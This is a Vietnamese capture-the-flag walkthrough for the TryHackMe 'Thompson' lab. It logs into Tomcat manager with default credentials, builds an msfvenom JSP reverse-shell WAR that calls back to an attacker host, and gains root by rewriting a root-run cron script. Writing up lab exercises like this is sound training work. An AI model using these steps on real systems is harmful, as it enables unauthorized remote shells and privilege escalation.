TryHackMe - Thompson
Một thử thách khá hay, sử dụng tính năng tải tệp lên Tomcat và Metasploit
Giới thiệu
Đây là một room khá phù hợp cho người mới bắt đầu muốn luyện tập reverse shell thông qua tải tệp lên và giành quyền truy cập theo cách đó. Không cần leo thang đặc quyền vì script có sẵn chỉ cần chỉnh sửa một chút.
Nhìn chung đây là một thử thách khá đơn giản nhưng rất phù hợp cho người học.
Nmap
Hãy bắt đầu bằng việc quét với Nmap:
1
2
3
4
5
6
7
8
9
10
11
12
13
nmap -T4 -n -sC -sV -Pn -p- 10.10.83.60
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 fc:05:24:81:98:7e:b8:db:05:92:a6:e7:8e:b0:21:11 (RSA)
| 256 60:c8:40:ab:b0:09:84:3d:46:64:61:13:fa:bc:1f:be (ECDSA)
|_ 256 b5:52:7e:9c:01:9b:98:0c:73:59:20:35:ee:23:f1:a5 (ED25519)
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
|_ajp-methods: Failed to get a valid response for the OPTION request
8080/tcp open http Apache Tomcat 8.5.5
|_http-title: Apache Tomcat/8.5.5
|_http-favicon: Apache Tomcat
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Chúng ta có 3 cổng đang mở:
22/tcp
8009/tcp
8080/tcp
Trinh sát
Hãy truy cập trang web tại http://10.10.83.60:8080/.
Chúng ta có thể thấy một trang con dành cho manager.
Một biểu mẫu web xuất hiện, nhưng khi nhấn Cancel, chúng ta được chuyển hướng đến trang này.
Chúng ta có thể thấy một số thông tin đăng nhập.
1
2
username: tomcat
password: s3cret
Bây giờ, hãy thử sử dụng thông tin đăng nhập này.
Và chúng ta đã đăng nhập vào manager.
Truy cập ban đầu
Chúng ta có thể thấy một trình tải tệp lên, có vẻ chỉ chấp nhận các tệp .war.
Hãy tải tệp PHP reverse shell tại https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php.
Chúng ta cần cập nhật địa chỉ IP và PORT, sau đó lưu tệp dưới tên shell.php.war vì trình tải lên chỉ chấp nhận các tệp .war.
1
2
$ip = '10.11.75.122'; // CHANGE THIS
$port = 1337; // CHANGE THIS
Chúng ta không thể khởi động ứng dụng theo cách này.
Cách này sẽ không hoạt động, vì vậy hãy thử tự tạo một tệp .war bằng Metasploit.
1
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.11.75.122 LPORT=1337 -f war > exploit.war
Bây giờ, hãy thử tải tệp lên.
Quá trình tải lên đã thành công. Bây giờ, hãy mở cổng ở phía máy của chúng ta và truy cập trang exploit.
User Flag
Chúng ta đã nhận được kết nối và có thể tìm thấy user flag tại /home/jack/user.txt.
Root Flag
Hãy xem những tệp nào đang có sẵn.
1
2
3
4
5
cat id.sh
#!/bin/bash
id > test.txt
uid=0(root) gid=0(root) groups=0(root)
---
Có vẻ có một mối liên hệ ở đây, vì vậy hãy kiểm tra các cron job.
1
2
3
4
5
6
7
8
9
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
* * * * * root cd /home/jack && bash id.sh
1
2
3
4
5
6
7
8
9
ls -la
total 48
drwxr-xr-x 4 jack jack 4096 Aug 23 2019 .
drwxr-xr-x 3 root root 4096 Aug 14 2019 ..
-rw------- 1 root root 1476 Aug 14 2019 .bash_history
-rw-r--r-- 1 jack jack 220 Aug 14 2019 .bash_logout
-rw-r--r-- 1 jack jack 3771 Aug 14 2019 .bashrc
drwx------ 2 jack jack 4096 Aug 14 2019 .cache
-rwxrwxrwx 1 jack jack 26 Aug 14 2019 id.sh
Có vẻ id.sh được chạy với quyền root, vì vậy chúng ta chỉ cần sử dụng cat để ghi nội dung của tệp root.txt vào test.txt.
1
echo "cat /root/root.txt > test.txt" > id.sh











